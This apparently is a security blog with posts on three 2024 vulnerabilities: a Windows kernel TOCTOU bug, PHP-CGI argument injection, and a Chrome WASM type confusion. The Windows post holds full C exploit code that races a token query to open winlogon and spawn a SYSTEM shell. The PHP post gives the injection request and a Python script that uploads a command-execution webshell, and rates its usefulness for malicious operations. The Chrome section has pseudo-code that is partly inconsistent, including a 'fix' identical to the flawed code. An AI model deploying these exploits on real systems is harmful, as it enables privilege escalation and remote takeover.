Friday, June 21, 2024

The Dual TOCTOU Vulnerability CVE-2024-30088

Vulnerability Overview

CVE-2024-30088 is a critical vulnerability within the AuthzBasepCopyoutInternalSecurityAttributes function of the Windows operating system. This vulnerability is triggered when the kernel copies the _AUTHZBASEP_SECURITY_ATTRIBUTES_INFORMATION of the current token object to user mode:

// 0x30 bytes (sizeof) struct _AUTHZBASEP_SECURITY_ATTRIBUTES_INFORMATION { ULONG SecurityAttributeCount; // 0x0 struct _LIST_ENTRY SecurityAttributesList; // 0x8 ULONG WorkingSecurityAttributeCount; // 0x18 struct _LIST_ENTRY WorkingSecurityAttributesList; // 0x20 };

During the copy process, the kernel directly sets the list of SecurityAttribute structures to a user-supplied pointer. Subsequently, the RtlCopyUnicodeString and AuthzBasepCopyoutInternalSecurityAttributeValues functions are called to copy the names and values of the SecurityAttribute structures. This sequence introduces multiple Time-of-Check to Time-of-Use (TOCTOU) vulnerabilities, allowing an attacker to modify pointers in a race condition, leading to arbitrary address writes with controlled data and size.

Exploitation

Exploiting this vulnerability involves a race condition where an attacker can modify the buffer pointer of the attribute name before the RtlCopyUnicodeString function is called:

  1. Triggering the Vulnerability: This can be triggered by calling the NtQueryInformationToken with the TokenAccessInformation class.
  2. Modifying the Buffer Pointer: Using a racing thread, the attacker can modify the buffer pointer before the RtlCopyUnicodeString function is executed, pointing it to an arbitrary address.
  3. Arbitrary Write: Once the pointer is modified, the attacker can achieve arbitrary address writes with controlled data and size.

if (p_SecurityAttributesList->Flink != p_SecurityAttributesList) { v13 = pInfo + 0x98; do { v14 = *(_QWORD **)(pInfo + 0x10); if (*v14 != v7) { __fastfail(3u); } *(_QWORD *)(v13 - 96) = v14; *(_QWORD *)(v13 - 104) = v7; *v14 = v13 - 104; *(_QWORD *)(pInfo + 16) = v13 - 104; ++*(_DWORD *)pInfo; *(_WORD *)(v13 - 56) = *(_WORD *)(Flink + 48); v15 = *(_DWORD *)(Flink + 52); *(_QWORD *)(v13 - 48) = 0i64; *(_DWORD *)(v13 - 40) = 0; *(_DWORD *)(v13 - 16) = 0; v16 = (v10 + 1) & 0xFFFFFFFFFFFFFFFEui64; *(_QWORD *)(v13 - 32) = v13 - 32; RtlCopyUnicodeString((v13 - 0x48), (Flink + 0x20)); // Vulnerable call } while (Flink != p_SecurityAttributesList->Flink); }

Patch Analysis

The patch for CVE-2024-30088 introduces a critical change to prevent the exploitation. The kernel now uses a local variable on the stack (denoted as v18 in the code) as a buffer to copy the security attribute names before writing them back to the user buffer if the syscall originates from user mode. This approach eliminates the race condition by ensuring that the data is securely handled within kernel space before any interaction with user space.

// Local variable on stack used as a buffer v18.Buffer = kernel_stack_buffer; v18.MaximumLength = attribute_name_length; v18.Length = 0; // Securely copy the attribute name to the local buffer RtlCopyUnicodeString(&v18, &kernel_security_attribute_name); // Write back to user buffer user_buffer = v18.Buffer;

Full Exploit Code


#include <Windows.h>

#include <stdio.h>

#include "ex.h"


#pragma comment(lib, "ntdll.lib")


#define OFFSET_PID 0x440

#define OFFSET_PROCESS_LINKS 0x448

#define OFFSET_TOKEN 0x4b8

#define OFFSET_KPROCESS 0x220


typedef NTSTATUS(*pNtWriteVirtualMemory)(

    IN HANDLE               ProcessHandle,

    IN PVOID                BaseAddress,

    IN PVOID                Buffer,

    IN ULONG                NumberOfBytesToWrite,

    OUT PULONG              NumberOfBytesWritten OPTIONAL

);


typedef NTSTATUS(*pNtReadVirtualMemory)(

    IN HANDLE               ProcessHandle,

    IN PVOID                BaseAddress,

    OUT PVOID               Buffer,

    IN ULONG                NumberOfBytesToRead,

    OUT PULONG              NumberOfBytesRead OPTIONAL

);


typedef NTSTATUS NtQueryInformationToken(

    HANDLE                  TokenHandle,

    TOKEN_INFORMATION_CLASS TokenInformationClass,

    PVOID                   TokenInformation,

    ULONG                   TokenInformationLength,

    PULONG                  ReturnLength

);


typedef struct _AUTHZBASEP_SECURITY_ATTRIBUTES_INFORMATION {

    ULONG SecurityAttributeCount;

    struct _LIST_ENTRY SecurityAttributesList;

    ULONG WorkingSecurityAttributeCount;

    struct _LIST_ENTRY WorkingSecurityAttributesList;

} AUTHZBASEP_SECURITY_ATTRIBUTES_INFORMATION, *PAUTHZBASEP_SECURITY_ATTRIBUTES_INFORMATION;


typedef struct _UNICODE_STRING {

    USHORT Length;

    USHORT MaximumLength;

    PWSTR  Buffer;

} UNICODE_STRING, *PUNICODE_STRING;


NtQueryInformationToken* pQueryInfoToken = NULL;

HANDLE hToken;

BYTE* TokenInfo = NULL;

DWORD Infolen = 0x1000;

DWORD retlen = 0;

DWORD OffsetToName = 0;

BYTE* RaceAddr = NULL;

ULONGLONG kTokenAddr = 0;


void RaceThread() {

    ULONGLONG value = kTokenAddr + 0x40 - 4;

    for (int i = 0; i < 0x10000; i++) {

        *(WORD*)(RaceAddr + 2) = 2;

        *(ULONGLONG*)(RaceAddr + 8) = value;

    }

}


int main() {

    HMODULE ntdll = GetModuleHandleA("ntdll");

    pQueryInfoToken = (NtQueryInformationToken*)GetProcAddress(ntdll, "NtQueryInformationToken");


    if (!pQueryInfoToken) {

        fprintf(stderr, "Failed to get NtQueryInformationToken address.\n");

        return -1;

    }


    if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken)) {

        fprintf(stderr, "Failed to open process token.\n");

        return -1;

    }


    kTokenAddr = (ULONGLONG)GetKernelPointerByHandle(hToken);

    printf("hToken: %p, kTokenAddr: %p\n", hToken, (void*)kTokenAddr);


    getchar();


    TokenInfo = (BYTE*)VirtualAlloc(NULL, Infolen, MEM_COMMIT, PAGE_READWRITE);

    if (!TokenInfo) {

        fprintf(stderr, "Failed to allocate memory for token information.\n");

        return -1;

    }


    NTSTATUS status = pQueryInfoToken(hToken, (TOKEN_INFORMATION_CLASS)22, TokenInfo, Infolen, &retlen);

    if (status != 0) {

        fprintf(stderr, "NtQueryInformationToken failed with status: 0x%x\n", status);

        return -1;

    }


    _AUTHZBASEP_SECURITY_ATTRIBUTES_INFORMATION* pSecurityAttributes = 

        (_AUTHZBASEP_SECURITY_ATTRIBUTES_INFORMATION*)((_TOKEN_ACCESS_INFORMATION*)TokenInfo)->SecurityAttributes;

    if (pSecurityAttributes->SecurityAttributeCount) {

        BYTE* Flink = (BYTE*)pSecurityAttributes->SecurityAttributesList.Flink;

        if (Flink) {

            OffsetToName = Flink + 0x20 - TokenInfo;

            printf("Found target offset value: 0x%x\n", OffsetToName);

        }

    }


    if (!OffsetToName) {

        fprintf(stderr, "Failed to find target offset value.\n");

        return -1;

    }


    RaceAddr = TokenInfo + OffsetToName;

    printf("Target address = %p\n", (void*)RaceAddr);


    HANDLE hWinLogon = INVALID_HANDLE_VALUE;

    ULONG pid = GetPidByName(L"winlogon.exe");

    while (1) {

        HANDLE h = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)RaceThread, NULL, 0, NULL);

        if (!h) {

            fprintf(stderr, "Failed to create race thread.\n");

            return -1;

        }

        SetThreadPriority(h, THREAD_PRIORITY_TIME_CRITICAL);


        for (int i = 0; i < 5000; i++) {

            pQueryInfoToken(hToken, (TOKEN_INFORMATION_CLASS)22, TokenInfo, Infolen, &retlen);

        }


        WaitForSingleObject(h, INFINITE);


        hWinLogon = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);

        if (hWinLogon) {

            break;

        }

    }


    printf("Got Winlogon handle: %p\n", hWinLogon);

    getchar();


    if (!CreateProcessFromHandle(hWinLogon, (LPSTR)"C:\\Windows\\system32\\cmd.exe")) {

        fprintf(stderr, "Failed to create process from handle.\n");

    }


    CloseHandle(hWinLogon);

    CloseHandle(hToken);


    return 0;

}


Thursday, June 6, 2024

PHP Argument Injection in CGI Mode

Introduction

Recently, a significant vulnerability in PHP, designated as CVE-2024-4577, was disclosed by security researcher Orange Tsai. This vulnerability specifically affects XAMPP installations on Windows when PHP is configured to run in CGI mode, and it can be exploited under certain locales, such as Chinese (simplified and traditional) and Japanese.

Root Cause
The CVE-2024-4577 vulnerability stems from how PHP, when running in CGI mode, processes Unicode characters in command-line arguments. Specifically, the issue lies in the handling and interpretation of the Unicode "soft hyphen" character (0xAD) compared to the standard hyphen (0x2D).
In CGI mode, web servers parse HTTP requests and pass them to a PHP script for processing. For example, a request to http://host/cgi.php?foo=bar might be translated and executed as php.exe cgi.php foo=bar. The vulnerability arises because while the web server escapes a standard hyphen (0x2D) to prevent command injection, it does not escape the soft hyphen (0xAD). When PHP processes this character, it interprets it as a real hyphen, enabling attackers to inject additional command-line arguments.

Exploitability
The key to exploiting this vulnerability is to insert the soft hyphen character in place of the standard hyphen in command-line arguments. This allows attackers to inject PHP configuration directives directly into the execution command:

POST /test.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1 Host: victim.com User-Agent: curl/8.3.0 Accept: / Content-Length: 23 Content-Type: application/x-www-form-urlencoded Connection: keep-alive <?php phpinfo(); ?>

In this request, the soft hyphen is used to bypass input sanitization, leading to remote code execution (RCE) if successful.

Locale-Specific Exploitation This vulnerability is locale-dependent, primarily affecting Chinese and Japanese locales. This means that successful exploitation may require knowledge or manipulation of the target system's locale settings. Command Injection via Soft Hyphen The primary exploitation technique involves replacing the standard hyphen with the soft hyphen (0xAD) in the query string. This subtle difference is not escaped by the web server but is interpreted by PHP as a legitimate command-line argument. Adaptation of Older Techniques Given the similarity to the older CVE-2012-1823 vulnerability, existing exploitation techniques can be adapted. For instance, injecting PHP directives like -d allow_url_include=1 -d auto_prepend_file=php://input can enable execution of PHP code provided in the HTTP request body. Unicode Evasion: Exploit developers can experiment with other Unicode characters that may be interpreted differently by various components of the server and PHP environment. Automated Locale Detection: Integrate automated scripts to detect and adjust to the locale settings of the target system dynamically, enhancing the robustness of the exploit. Chained Exploits: Combine this vulnerability with other known weaknesses in the web server or PHP configuration to escalate privileges or maintain persistence.

Exploit Code:
(https://github.com/openexploitresearch/exploits/blob/main/php/php_cgi_exploit.py).

import requests import argparse def upload_webshell(url): payloads = [ '/cgi-bin/php-cgi.exe?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input', '/php-cgi/php-cgi.exe?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input' ] webshell = '<?php if(isset($_REQUEST["cmd"])){system($_REQUEST["cmd"]);} ?>' headers = { "Content-Type": "application/x-www-form-urlencoded" } for payload in payloads: shell_url = f"{url}{payload}" try: response = requests.post(shell_url, headers=headers, data=webshell) if response.status_code == 200: print(f"(+) Webshell uploaded at: {shell_url}") else: print(f"(-) Failed to upload webshell at: {shell_url}") except Exception as e: print(f"(!) Error uploading webshell to {shell_url}: {e}") def main(): parser = argparse.ArgumentParser(description="PHP CGI Argument Injection Exploit FullChain") parser.add_argument('--target', '-t', dest='target', help='Target URL', required=True) args = parser.parse_args() target_url = args.target.rstrip('/') upload_webshell(target_url) if __name__ == "__main__": main()

Impact Rating: 4/10 The limited number of affected targets significantly lowers the overall impact of this vulnerability. Although it has the potential for remote code execution (RCE), the specific conditions required for exploitation make it less of a threat in most environments. Strategic Value: 3.5/10 Due to its primary impact on development environments and smaller servers, the strategic value of this vulnerability is relatively low. Its use in broader attacks is constrained by the difficulty in finding suitable targets. Operational Value: 6/10 While the simplicity of the exploit and the presence of XAMPP installations provide some operational value, the challenge in finding vulnerable targets reduces its overall utility. Despite this, the ability to execute arbitrary PHP code can still be leveraged for specific malicious activities when suitable conditions are met.

Wednesday, June 5, 2024

Exploring Google Chrome RCE via WASM Canonical Type Confusion


Introduction

WebAssembly (WASM) has revolutionized web development by enabling near-native performance for complex applications running in modern browsers, such as Google Chrome. However, with great power comes great responsibility, and the increasing complexity of the WebAssembly engine introduces new challenges for ensuring security. This paper focuses on a critical Remote Code Execution (RCE) vulnerability in Google Chrome, which is rooted in the confusion between different WASM types during JavaScript-to-WASM (JS-to-WASM) conversion processes. This vulnerability arises due to a mismanagement of wasm::HeapType and wasm::ValueType, leading to dangerous type confusion between arbitrary WASM types.

This vulnerability is similar to the well-known CVE-2024-2887, discovered by Manfred Paul during Pwn2Own Vancouver 2024. By leveraging type confusion, attackers can achieve arbitrary code execution, bypassing Chrome's security mechanisms, including the sandbox.

Bug / Root Cause Analysis

WebAssembly's Type System and Canonicalization

WebAssembly introduces a complex type system, especially with the advent of WasmGC (Garbage Collection) types. WASM supports recursive types, and to ensure type comparison across different modules, types are canonicalized. Canonicalization allows types defined in different WASM modules to be compared structurally. For instance, (type $t1 (struct (mut i32) (mut i64))) defined in module M1 should be equivalent to (type $t2 (struct (mut i32) (mut i64))) defined in module M2.

In Chrome's V8 engine, this process is managed through a system where each WASM type is assigned a globally unique identifier (uint32_t). These identifiers are used to track types and ensure consistency across different WASM modules. The code responsible for this is located in the canonical types module:

TypeCanonicalizer* GetTypeCanonicalizer() {

  return GetWasmEngine()->type_canonicalizer();

}


class TypeCanonicalizer {

 public:

  static constexpr uint32_t kPredefinedArrayI8Index = 0;

  static constexpr uint32_t kPredefinedArrayI16Index = 1;

  static constexpr uint32_t kNumberOfPredefinedTypes = 2;

  

 private:

  std::vector<uint32_t> canonical_supertypes_;

  std::unordered_map<CanonicalGroup, uint32_t, base::hash<CanonicalGroup>> canonical_groups_;

  std::unordered_map<CanonicalSingletonGroup, uint32_t, base::hash<CanonicalSingletonGroup>> canonical_singleton_groups_;

};

Here, the TypeCanonicalizer class is responsible for assigning and managing the globally unique type IDs (uint32_t). These IDs allow V8 to enforce type consistency when comparing types across modules. The system uses structures like canonical_supertypes_ to represent the subtyping relationships between different WASM types, where canonical_supertypes_[sub] = super indicates that super is the supertype of sub.

Canonical Type IDs and Their Use in WASM Modules

Every WASM module maintains a list of internal type definitions and their corresponding canonical IDs. This list allows WASM modules to map their internal type indices to the global canonical type IDs. The following structure represents this mapping in V8:

struct V8_EXPORT_PRIVATE WasmModule {

  std::vector<TypeDefinition> types;  // Internal type definitions

  std::vector<uint32_t> isorecursive_canonical_type_ids;  // Maps each type to its canonical type ID

};

For example, isorecursive_canonical_type_ids[t] = c indicates that the internal type index t has been canonicalized to the global type ID c. This mapping allows WASM modules to ensure that types with the same structure, even across different modules, are treated equivalently.

However, this system introduces a subtle but critical vulnerability. The canonical type id is a full uint32_t value, but during certain JS-to-WASM conversion processes, this value is truncated to fit into a smaller 20-bit field, leading to type confusion between different canonical type IDs. This mismanagement of type IDs leads to exploitable situations, as we will discuss in detail.

The Core Issue: Type Confusion During JS-to-WASM Conversion

One of the main vulnerabilities arises from the confusion between the wasm::HeapType and wasm::ValueType during JS-to-WASM conversion. These conversion functions are responsible for ensuring that JavaScript values passed to WASM modules are properly converted to WASM types. However, due to the improper handling of canonical type IDs, type confusion occurs.

Take, for example, the following code from the V8 engine’s FromJS() function, which handles type conversions:

Node* FromJS(Node* input, Node* js_context, wasm::ValueType type,

             const wasm::WasmModule* module, Node* frame_state = nullptr) {

  switch (type.kind()) {

    case wasm::kRef:

    case wasm::kRefNull: {

      switch (type.heap_representation_non_shared()) {

        case wasm::HeapType::kNone:

        case wasm::HeapType::kNoFunc:

        case wasm::HeapType::kI31:

        case wasm::HeapType::kAny:

        case wasm::HeapType::kFunc:

        case wasm::HeapType::kStruct:

        case wasm::HeapType::kArray:

        case wasm::HeapType::kEq:

        default: {

          if (type.has_index()) {

            DCHECK_NOT_NULL(module);

            uint32_t canonical_index = module->isorecursive_canonical_type_ids[type.ref_index()];

            type = wasm::ValueType::RefMaybeNull(canonical_index, type.nullability());  // [!] Truncated type ID used as HeapType

          }

          Node* inputs[] = {input, mcgraph()->IntPtrConstant(IntToSmi(static_cast<int>(type.raw_bit_field())))};

          return BuildCallToRuntimeWithContext(Runtime::kWasmJSToWasmObject, js_context, inputs, 2);

        }

      }

    }

  }

}

Here, during a JS-to-WASM conversion, the type is fetched from the module’s list of canonical type IDs. However, the canonical ID (uint32_t) is truncated to fit within a 20-bit field, as seen in the RefMaybeNull() function, which encodes the heap type. This results in the first major vulnerability—type confusion between different canonical type IDs.

How Type Confusion Occurs

To better understand how this confusion leads to an exploit, let’s consider the internal structure of the wasm::ValueType class:

class ValueType {

 public:

  static constexpr ValueType RefMaybeNull(uint32_t heap_type, Nullability nullability) {

    return ValueType(KindField::encode(nullability == kNullable ? kRefNull : kRef) |

                     HeapTypeField::encode(heap_type));  // [!] Only 20 bits of heap_type are used

  }


 private:

  using KindField = base::BitField<ValueKind, 0, kKindBits>;

  using HeapTypeField = KindField::Next<uint32_t, kHeapTypeBits>;  // [!] HeapType is only 20 bits wide

};

Here, heap_type is truncated to 20 bits, even though the canonical type ID is a full uint32_t. This means that for any canonical type IDs t1 and t2, if (t1 & 0xFFFFF) == (t2 & 0xFFFFF), the type check will fail, leading to type confusion. Specifically, this can occur when the system checks the type of an object passed from JS to WASM. If the truncated heap_type value matches, the object will pass the type check, even if it’s of an entirely different type.

Exploitable Vulnerabilities

There are two key exploitable vulnerabilities that arise from this situation:

  1. Type Confusion in JS-to-WASM Conversion: As discussed, the truncation of heap_type during type checks leads to type confusion. An attacker can craft WASM modules with specific type indices that, when canonicalized, result in IDs that appear identical when truncated. This allows the attacker to bypass type checks and inject malicious objects into WASM functions.

  2. Misuse of Canonical Type IDs as wasm::HeapType: In addition to the truncation issue, there is another vulnerability where canonical type IDs are incorrectly treated as wasm::HeapType. This results in situations where the system mistakenly treats a type as a supertype (such as HeapType::kAny), allowing attackers to pass arbitrary objects as valid WASM types.

For example, in the following JSToWasmObject() function, we see how a canonical type ID is confused with HeapType::kAny, allowing almost any object to bypass the type check:

namespace wasm {

MaybeHandle<Object> JSToWasmObject(Isolate* isolate, Handle<Object> value,

                                   ValueType expected_canonical, const char** error_message) {

  switch (expected_canonical.heap_representation_non_shared()) {

    case HeapType::kAny: {  // [!] Canonical type IDs confused with HeapType::kAny

      if (IsSmi(*value)) return CanonicalizeSmi(value, isolate);

      if (IsHeapNumber(*value)) return CanonicalizeHeapNumber(value, isolate);

      if (!IsNull(*value, isolate)) return value;

      *error_message = "null is not allowed for (ref any)";

      return {};

    }

  }

}

This second vulnerability is simpler to exploit. The attacker can craft objects with canonical type IDs that are mistaken for HeapType::kAny, allowing them to bypass checks that would normally prevent the execution of arbitrary code.

Exploitation

Leveraging Type Confusion for Arbitrary Read/Write

Once an attacker successfully triggers type confusion through the JS-to-WASM conversion process, they can gain arbitrary read/write access. This capability is fundamental in modern exploit development, as it allows further control over the target system.

Triggering Type Confusion

The first step in exploiting this vulnerability is crafting WebAssembly (WASM) modules with intentionally confusing types. Due to the improper handling of canonical type IDs, the V8 engine mistakenly treats different types as the same, leading to exploitable type confusion. For instance, an attacker can create confusion between a simple type, such as (type $t1 (struct (mut i32))), and a more complex type, such as (type $t2 (struct (ref $t1))), to bypass type checks.

In the vulnerable FromJS() function, the canonical type index is incorrectly truncated:

Node* FromJS(Node* input, Node* js_context, wasm::ValueType type,

             const wasm::WasmModule* module, Node* frame_state = nullptr) {

  if (type.has_index()) {

    uint32_t canonical_index = module->isorecursive_canonical_type_ids[type.ref_index()];

    type = wasm::ValueType::RefMaybeNull(canonical_index, type.nullability());

  }

  Node* inputs[] = {input, mcgraph()->IntPtrConstant(IntToSmi(static_cast<int>(type.raw_bit_field())))};

  return BuildCallToRuntimeWithContext(Runtime::kWasmJSToWasmObject, js_context, inputs, 2);

}

By crafting a WASM module that manipulates these type indices, the attacker can force V8 to interpret objects of one type as another, thus bypassing critical security checks. This misinterpretation allows the attacker to create conditions where memory can be accessed or modified in ways that the original type system should have prevented.

Achieving Arbitrary Read/Write

Once type confusion is in place, the attacker can perform arbitrary reads and writes to the V8 engine’s memory. One common exploitation strategy involves confusing a simple type, such as an i32 integer, with a pointer (ref) type. This allows the attacker to manipulate memory addresses as if they were integer values, effectively gaining control over critical memory locations.

// A vulnerable path that leads to arbitrary memory write due to type confusion

Node* fake_pointer = mcgraph()->HeapConstant(...);  // Fake a memory address (pointer)

Node* value_to_write = mcgraph()->Int32Constant(...);  // Value to write to the address

Node* result = BuildStore(fake_pointer, value_to_write);  // Write the value to the fake address

By constructing WASM objects with confused types, the attacker can issue read/write operations on arbitrary memory locations. This allows them to overwrite critical structures, such as function tables, and eventually gain control over the program’s execution flow.

Escaping the V8 Sandbox

Chrome’s V8 engine isolates WebAssembly execution within a sandbox to protect the system from malicious code. However, by exploiting the type confusion vulnerability and corrupting the V8 heap, attackers can bypass this sandbox and gain broader control over the system.

Abusing PartitionAlloc for Arbitrary Memory Corruption

The V8 engine uses PartitionAlloc as its memory allocator. By corrupting PartitionAlloc metadata through type confusion, attackers can manipulate how memory is allocated and freed, leading to arbitrary memory corruption.

PartitionAlloc is not part of the V8 heap's 4GB pointer compression cage, making it more accessible for exploitation. Specifically, by modifying the ArrayBuffer object’s backing_store field, attackers can redirect it to arbitrary memory locations. This results in leakage of sensitive addresses or direct memory corruption.

The relevant structure is as follows:

struct SlotSpanMetadata {

 private:

  PartitionFreelistEntry* freelist_head = nullptr;


 public:

  SlotSpanMetadata* next_slot_span = nullptr;

  PartitionBucket* const bucket = nullptr;  // [!] chrome.dll address leakage point


  uint32_t marked_full : 1;

  uint32_t num_allocated_slots : kMaxSlotsPerSlotSpanBits;

  uint32_t num_unprovisioned_slots : kMaxSlotsPerSlotSpanBits;

};

By manipulating the bucket field, an attacker can control memory operations performed by PartitionAlloc, leading to an arbitrary address write vulnerability.

The following code snippet demonstrates how memory is freed within PartitionAlloc:

PA_ALWAYS_INLINE void SlotSpanMetadata::Free(

    uintptr_t slot_start, PartitionRoot* root, const PartitionFreelistDispatcher* freelist_dispatcher) {

  if (marked_full || num_allocated_slots == 0) {

    FreeSlowPath(1);  // [!] Target vulnerable path

  }

}


void SlotSpanMetadata::FreeSlowPath(size_t number_of_freed) {

  if (marked_full) {

    marked_full = 0;

    bucket->active_slot_spans_head = this;  // [!] Arbitrary address write

  }

}

By controlling the bucket field and triggering the FreeSlowPath() function, the attacker can overwrite arbitrary memory locations with crafted data. This allows further escalation, including sandbox escapes or control of the broader Chrome process.

Full Exploitation: Achieving Remote Code Execution

After corrupting critical PartitionAlloc metadata, the attacker’s next step is to hijack V8’s control flow, leading to Remote Code Execution (RCE).

Hijacking the CodePointerTable

One common strategy for achieving RCE is to hijack the CodePointerTable (CPT), which stores function pointers used by V8’s JIT compiler. By overwriting entries in this table, the attacker can direct execution to attacker-controlled code, such as a Return-Oriented Programming (ROP) chain or shellcode.

Prepare a ROP chain or shellcode and store it in an attacker-controlled memory region.

Overwrite the CPT table to point to the controlled memory region, using the previously acquired arbitrary write primitive.

Trigger a function call that invokes the CPT entry, causing V8 to execute the attacker’s ROP chain or shellcode.

// Overwrite the CPT to point to attacker-controlled memory

PartitionBucket* bucket = fake_partition_bucket();

bucket->active_slot_spans_head = this;  // [!] Modify memory through the bucket

trigger_v8_function_call();  // Trigger a function call to execute the malicious code

By hijacking the control flow, the attacker gains full execution capabilities within the Chrome process, effectively achieving RCE.

Mitigations and Fixes

Correct Handling of Canonical Type IDs

To mitigate this vulnerability, developers must ensure that Canonical Type IDs are handled correctly during JS-to-WASM conversion. Currently, the heap_type field is incorrectly truncated, leading to type confusion. Fixing this requires ensuring that the Canonical Type ID is treated as a full 32-bit uint32_t value, rather than being truncated to 20 bits.

static constexpr ValueType RefMaybeNull(uint32_t heap_type, Nullability nullability) {

    return ValueType(

        KindField::encode(nullability == kNullable ? kRefNull : kRef) |

        HeapTypeField::encode(heap_type));  // [!] Fix: Use full 32-bit value

}

Introducing wasm::CanonicalType

To further prevent confusion between wasm::HeapType and Canonical Type IDs, developers should introduce a new type, wasm::CanonicalType, specifically for handling canonical IDs. This separation would prevent future bugs related to type confusion.

Hardening PartitionAlloc Metadata

In addition to fixing the type confusion bug, Chrome developers should harden PartitionAlloc against memory corruption attacks. This can be achieved by adding additional integrity checks for critical fields like bucket and SlotSpanMetadata.

Using mechanisms like ExternalPointerTable can prevent direct manipulation of sensitive metadata, making it more difficult for attackers to gain control over memory allocation operations.


Unveiling CVE-2024-38112 in the Shadows of Internet Explorer

Overview Recent security research uncovered a new vulnerability within Windows systems that exploits Internet Explorer to execute remote cod...